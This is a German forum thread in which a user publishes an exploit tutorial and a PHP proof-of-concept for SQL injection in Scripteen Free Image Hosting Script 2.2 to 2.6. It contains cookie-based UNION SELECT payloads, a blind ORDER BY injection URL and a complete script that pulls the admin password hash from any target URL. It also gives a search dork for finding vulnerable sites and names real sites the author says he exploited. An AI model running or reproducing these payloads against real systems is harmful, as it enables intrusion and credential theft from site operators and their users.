Vollständige Version anzeigen : [Exploit] Scripteen Free Image Hosting Script V2.3 SQL Injection


Coksnuss
17.07.2009, 20:27

Inhalt:

Prolog
Analyse
Exploit


Prolog:
Nachdem pampers eine Anfrage auf eine Exploit Sektion gestellt hat, will ich hiermit den Anfang machen. Bin nämlich auch sehr daran interessiert.
Der folgenden Exploit ist (bis zu diesem Moment) NICHT PUBLIC! und ich habe mich dazu entschlossen ihn hier in diesem Board anstatt bei milw0rm "einzusenden" da ich hoffe das dies eventuell besonders für eine solche Sektion beiträgt!

Dieser Exploit beinhaltet nicht blos den Exploit an sich sondern ein Tutorial, welches so weit wir möglich für den Laien geschrieben ist. Das heißt jeder der sich wirklich interessiert sollte verstehen WIE der Exploit funktioniert und alle Schritte nachvollziehen können.
Was ist mit diesem Exploit möglich? - Es ist möglich die komplette Datenbank des Servers auszulesen durch Manipulation eines MySQL Queries.

Heute hat lulox ein Projekt von sich vorgestellt. Es handelt sich um eine Webanwendung, basierend auf PHP, welche ein hosten von Bildern erlaubt.
Da ich bereits bei vielen Projekten die hier im Board vorgestellt wurden einen Exploit endeckt habe, wollte ich mir auch diesmal den Spaß nicht nehmen lassen.


Klatopia;de XSS Lücke & Cookie stealing
Chilloutgames;de MySQL Injection
Pichamster;com MySQL Injection


Die Analyse
Auf der Webseite sieht man sofort das es sich um ein fertiges Script handelt.
Powered by Scripteen Free Image Hosting Script V 2;3
Über lässt sich die [URL=;;;scripteen~com/scripts/scripteen-free-image-hosting-script;html]Herstellerseite (]google[/URL) schnell ausfindig machen.
Da es sich um ein kostenloses Script handelt ist selbiges auch schnell auf unserem Rechner und die Analyse kann beginnen.

header;php (Zeile 38 - 63)
if(isset($_COOKIE['cookid'])){

$vid = intval($_COOKIE['cookid']);
$vgid = intval($_COOKIE['cookgid']);
$vname = check_input($_COOKIE['cookname']);
$vpass = check_input($_COOKIE['cookpass']);


$result = mysql_query("select * from users where userid='$vid' and usergid='$vgid' and username='$vname' and password='$vpass'");

if(mysql_num_rows($result) ==0) {
header("Location: logout;php");
exit;
} }

$userid=$_SESSION['userid'];
$usergid=$_SESSION['usergid'];
if (!$userid || empty($userid) || $userid==""){
$userid = $_COOKIE['cookid'];
}
if (!$usergid || empty($usergid) || $usergid==""){
$usergid = $_COOKIE['cookgid'];
}
require_once("inc/limits;php");


Das Script verwendet normalerweise eine sessionbasierende (;;;php~net/session) Authentifizierung.
Anscheinend ist aber auch eine Cookiebasierende (;;;php~net/cookie) Anmeldung möglich.

Dem geübten Auge fällt dabei sofort Zeile 58 und 61 ins Auge.
$userid = $_COOKIE['cookid'];
$usergid = $_COOKIE['cookgid'];

Die Werte werden direkt vom Cookie eingelesen. Das heißt wir können den Inhalt dieser beiden Variablen selber bestimmen. Allerdings sollten wir die Zeichen ' und " vermeiden da diese bei vielen Servern durch Magic quotes (;;;php~net/magic_quotes) durch \' und \" ersetzt werden.

Wenn wir uns die Kette allerdings anschauen können wir nicht einfach einen wahllosen Inhalt in die Variable schreiben.
In Zeile 40 wird bereits der Inhalt des Cookies beispielsweise in die Variable $vid geschrieben welche anschliessend in dem SQL Statement aus Zeile 46 Verwendung findet:
$result = mysql_query("select * from users where userid='$vid' and usergid='$vgid' and username='$vname' and password='$vpass'");
Allerdings wird (zu unserem "Glück") diese Variable mit einem intval() (;;;php~net/intval) gefiltert (der Inhalt wird zu einer Zahl konvertiert).

Damit das Script nicht mit der darauffolgenden IF-Abfrage abbricht müssen wir dafür Sorgen dass das Statement trozdem noch einen Datenbanksatz zurückliefert.
Das schaffen wir nur indem wir unsere eigene UserID kennen.
Diese ist garnicht so leicht herauszufinden wie ich zunächst dachte. In der profile;php habe ich in Zeile 22 dann aber folgendes endeckt:
<input type="hidden" name="userid" id="userid" value="<?=$userid?>" >
Unsere UserID wird in ein verstecktes Formularfeld geschrieben.
Ein Aufruf der profile;php und eine kurze Ansicht des Quelltextes offenbart uns dann also unsere UserID (ich werde im folgenden davon ausgehen das diese den Wert 3 hat)

Zurück also zum SQL Statement. Dazu ist es wichtig dass ihr wisst wie die intval() (;;;php~net/intval) Funktion von PHP arbeitet.
Beispielsweise wird der Wert "03 und hier steht lauter text" von PHP in die Zahl "3" umgewandelt.

Zeit also unsere Cookies (;addons;mozilla~org/de/firefox/addon/573) anzulegen.

cookid = 3
cookgid = 3 <-- Diese Gruppe ist immer die selbe! (1 = admin, 2 = moderator, 3 = user)
cookname = RaidRush <-- euer Benutzername
cookpass = 52a20ab6297def1af0a7e16aa6899aee <-- Euer Passwort mit MD5 (;files;kniebes~net/php/md5/) verschlüsselt.


Wichtig ist dabei das eventuell vorhandene sessioncookie zu löschen, da sonst nicht unsere Werte verwendet werden sondern die, die auf dem Server gespeichert sind.
Wenn die Seite jetzt wieder aufgerufen wird solltet ihr "nach wie vor" eingeloggt sein. Diesmal allerdings über cookies, und nicht über die session.

Nun ist es an der Zeit ein SQL Statement zu finden dessen Ausgabe wir auch sehen können.
Bspw: Ein manipuliertes Statement wie dieses aus Zeile 46 würde uns nichts bringen da wir die Ausgabe nie zu Gesicht bekommen.
Anders bei profile;php (Zeile 7 - 16)
$sql="select * from users where userid=$userid";

$result = mysql_query($sql) or die("Query failed;");
while ($row = mysql_fetch_array($result))
{
$uname=$row['username'];
$fname=$row['fname'];
$lname=$row['lname'];
$email=$row['email'];
}


Der Exploit
Wir erinnern uns, wir können den Inhalt der Variable $userid, nahezu beliebt bestimmen, müssen allerdings aufpassen das er "kompatibel" zu allen vor und nachgestellten SQL-Statements bleibt. (In unserem Fall bloß das Statement aus Zeile 46 welches den Parameter aber gesondert filtert)
Wir müssen also darauf achten das die intval() Funktion von PHP den Wert 3 zurückliefert.
Ersetzen wir jetzt (SQL Kentnisse vorausgesetzt) unser Cookie durch folgendes können wir einen manipulierten SQL query an den Server senden.
cookid = 3 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
An dieser Stelle benötigt ihr SQL Kentnisse da ich sonst zu weit ausholen müsste. Es sei soviel gesagt das die Tabelle "users" genau 11 Spalten besitzt.
Glücklicherweise werden die Variablen solange überschrieben bis die Datenbank den letzten Datensatz geliefert hat.
Dieser ist nicht, wie eigentlich gewollt, der Datensatz der die Userdaten enthält sondern der Datensatz den wir in unserem UNION SELECT angegeben haben (in dem Fall die Zahlen 1-11).

Wenn wir nun das Cookie speichern und die profile;php aufrufen sehen wir das Formular mit vorausgefüllten Feldern. In diesen Feldern stehen nun die Zahlen 3, 4, 5 und 8. Das ist die direkte Ausgabe aus der Datenbank.

Jetzt können wir das SQL Statement beliebig abändern.
cookid = 3 UNION SELECT 1,2,USER(), DATABASE(), VERSION(),6,7,password,9,10,11 FROM users WHERE userid=1
Jetzt würden wir in dem Formular neben den Datenbankuser, der aktuellen Datenbank + Datenbankversion außerdem das (MD5 verschlüsselte) Passwort des administrators vorfinden.

;;;xup~in/pic,11259624/vulnerable;png
;;;xup~in/pic,16318067/vulnerable2;png

Für erfahrende Nutzer ist es auch möglich den Inhalt der ganzen Datenbank (Stichwort information_schema) auszulesen.
An dieser Stelle ist aber Schluss mit meinem Tutorial. Danke das du meinen Post bis hierhin gelesen hast.
Einen Proof-of-Concept Exploit werde ich in einem 2. Post anhängen!

Hardware Preisvergleich | Amazon Blitzangebote!

Videos zum Thema
Video Loading...
Coksnuss
18.07.2009, 22:34

Soo, nachdem das Tutorial nun freigeschaltet ist möchte ich noch die ein oder andere Sache beifügen:

1. Der Exploit funktioniert auf (;;pichamster~com) selbstverständlich nicht mehr
2. Ich bitte euch diesen Exploit zum lernen und verstehen zu nutzen, NICHT dafür um anderen Leuten Schaden zuzufügen
3. Das finden des Exploits hat kürzer gedauert als dieses Tutorial zu schreiben (etwa 20-30 Minuten)

Außerdem habe ich das im 1. Post erwähnte Proof-Of-Concept Script fertiggestellt und befindet sich im Anhang.

;;1;xup~in/exec/ximg;php?fid=60927283

(;;;xup~in/dl,11567842/scriptteen;php/)

// Edit: (24;07). So.... hab das jetzt auch mal an milw0rm geschickt .


Coksnuss
19.10.2009, 12:51

Hier nochmal ein Update.
Die Nachricht ging auch eben an milw0rm raus. Der Exploit funktioniert für alle Versionen (von 2;2 - 2;6) (und eventuell auch davor) - Also für alle Versionen die momentan in Benutzung sind.

###############################################################
Scripteen Free Image Hosting Script
Affected versions:
- 2;2
- 2;3
- 2;4
- 2;5
- 2;6
- Privious versions may also affected
Class: Input Validation Error
Dork: Powered by Scripteen Free Image Hosting Script
Author: Coksnuss
###############################################################

Thanks to everyone who help to keep up milw0rm!

###############################################################

A personal note to the creator of the image hosting script:
PLEASE! STOP to fix your errors one by one as they get exploited!
I recommend you a rewrite of your script wich has tons of validation errors!

###############################################################

The vulnerable: gallery;php (line 22-26)
$sort = $_REQUEST['sort'];
if ($sort == "") {
$sort = "added";
}

$query = "select i;filename as filename, i;tn_filename as tn_filename, i;filepath as filepath, i;added as add_dt, i~ip as ip, i;filesize as filesize, sum(ih~kb) as bandwidth, count( ih;filename ) as ctr from images i left outer join imagehits ih on i;filename = ih;filename where i;prv=0 group by filename order by " . $sort . " desc limit " . $start . "," . $limit;

$sort is not validated correctly and can be used to inject your own code.
The UNION statement cannot be used to inject code in this context.
Instead of UNION its possible to order the result different wether a statement is true or false.
This behavior can be used to read values out of the database.

Example: (Order by filesize if the first sign of users;password is '0')
(;;;host;tld/path/gallery;php?sort=IF(ASCII(SUBSTR((SELECT) password FROM users LIMIT 1),1,1))=48, filesize, added) LIMIT 1-- j

###############################################################

POC:

###############################################################


POC:

<?php
// *************************************
// Global variables
// *************************************
$g_arguments = getArguments();
$g_url = isset($g_arguments['url']) ? $g_arguments['url'] : false;
$g_hexvalues = array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'a', 'b', 'c', 'd', 'e', 'f');
// *************************************

// *************************************
// Print help
// *************************************
if(isset($g_arguments['help']) || $g_url === false)
{
echo "###################################\n";
echo "# \n";
echo "# Scripteen Free Image Hosting V2;6\n";
echo "# SQL Injection Exploit \n";
echo "# Discovered by Coksnuss \n";
echo "# POC script by Coksnuss \n";
echo "# \n";
echo "###################################\n";

echo "Usage: " . $argv[0] . "\n";
echo "\t--help - This help\n";
echo "\t--url=[STR] - URL of a vulnerable site (e;g. ;;;host~de/path/to/script)\n";
die();
}
// *************************************


// *************************************
// Main
// *************************************
$url = strpos($g_url, ';php') !== false ? dirname($g_url) : $g_url;
if(substr($url, -1, 1) == '/' ) $url = substr($url, 0, -1);

// Get default filename from image #1
echo "Get filename of image #1..;";
$ret = file_get_contents($g_url . '/gallery;php?sort=' . urlencode('added LIMIT 1-- j'));
$ret2 = file_get_contents($g_url . '/gallery;php?sort=' . urlencode('filesize LIMIT 1-- j'));
preg_match_all('/([\d]{1}[;][\d]{1})/', $ret, $version);

/*
if(!array_search('2;6', $version[1]))
echo("\nWarning: It seems like this site do not use version 2;6 of the Scripteen Free Image Hosting Script!\n");
*/

if(!preg_match('!<div name="galimage";*<br /><br />(;*)</td>!', $ret, $match))
die('Couldn\'t retrieve imagename of image #1!');

if(!preg_match('!<div name="galimage";*<br /><br />(;*)</td>!', $ret2, $match2))
die('Couldn\'t retrieve imagename of image #1!');

if(trim($match[1]) == trim($match2[1]))
die("\nPlease upload a public smallsize picture to " . $url . " or change the query manualy\n");

$defaultImagename = trim($match[1]);

echo "DONE (" . $defaultImagename . ")\n";

// Start loop to retrieve the password
for($i = 1; $i != 33; $i++)
{

foreach($g_hexvalues as $chr)
{
echo $chr;
$ret = file_get_contents($g_url . '/gallery;php?sort=' . urlencode('IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1), ' . $i . ', 1))=' . ord($chr) . ', filesize, added) LIMIT 1-- j'));
preg_match('!<div name="galimage";*<br /><br />(;*)</td>!', $ret, $match);

if($defaultImagename != trim($match[1]))
break;
else
echo "\010";
}
}
// *************************************


// *************************************
// Global functions
// *************************************
function getArguments()
{
global $argv;

foreach($argv as $arg)
{
if(substr($arg, 0, 2) == '--')
{
// In case its an arguments (e;g. --arg='1')
if(($pos = strpos($arg, '=')) !== false)
{
$name = substr($arg, 2, ($pos - 2));
$value = substr($arg, ($pos + 1));

$args[$name] = $value;
// Or just a flag (e;g. --help)
} else {
$name = substr($arg, 2);

$args[$name] = true;
}
} else if($arg == $argv[0]) {
$args[0] = $argv[0];
}
}

return $args;
}
// *************************************
?>


;;1;xup~in/exec/ximg;php?fid=17422215


Ähnliche Themen zu [Exploit] Scripteen Free Image Hosting Script V2.3 SQL Injection
  • Space/Server für Image Hosting!
    Hallo, ich habe ein Imagehosting Projekt laufen. Leider wird der Speicher langsam knapp und ich bin bei 2,5GB angekommen. Traffik ist für diesen Monat schon 100GB angelaufen. Da der Traffik aber von Monat zu Monat anders ausfallen kann , wäre es gut wenn der Server oder Space oder was auch immer [...]

  • Woltlab Burning Board <= 2.3.3 info_db.php SQL injection Exploit
    Also ick hab damit nen Prob das der nicht funzt konnte die fehlermeldungen zwar schon auf 3 reduzieren aber ich kenne mich auch zuwenig mit perl aus :( [...]

  • Woltlab Burning Board <=2.3.1 register.php SQL-injection Exploit
    #!/usr/bin/perl use strict; use IO::Socket::INET; $| = print " Woltlab Burning Board <= 2;3;1 Exploit Vulnerability discovered by GulfTech Security Research Visit ;;security-project~org Exploit by deluxe89 ---------- "; my $host = ';;security-project;org'; my $path = '/wbb2/'; # path to the bo [...]

  • wer hat nen Image Hosting Script?
    im UG bereich sind nur 2 scripts die beide nicht funktionieren :D bei mir zumindest :P [...]



raid-rush.ws | Imprint & Contact pr